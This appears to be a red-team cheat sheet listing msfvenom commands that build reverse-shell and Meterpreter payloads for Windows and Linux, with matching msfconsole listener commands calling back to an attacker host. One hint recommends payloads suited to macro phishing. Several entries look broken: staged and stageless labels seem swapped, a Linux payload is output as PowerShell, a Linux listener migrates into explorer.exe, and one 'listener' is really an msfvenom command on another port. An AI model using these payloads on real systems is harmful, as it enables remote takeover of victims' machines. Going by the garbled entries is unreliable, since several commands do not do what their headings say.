# Metasploit Payload & Listener

## Payloads

#### Windows - Staged

```
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

{% hint style="info" %}
For macros phishing use a stageless 32-bit  payload
{% endhint %}

#### Windows - Stageless

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

#### Windows - Reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```

#### Linux - Reverse TCP

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f ps1
```



## Listeners

#### Windows - Staged

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
```

{% hint style="info" %}
For macros phishing use a stageless 32-bit listener&#x20;
{% endhint %}

#### Windows - Stageless

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_https; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
```

#### Windows - Reverse TCP&#x20;

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=8080 EXITFUNC=thread -f ps1
```

#### Linux - Reverse TCP

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 443; set AutoRunScript migrate -n explorer.exe; exploit"
```
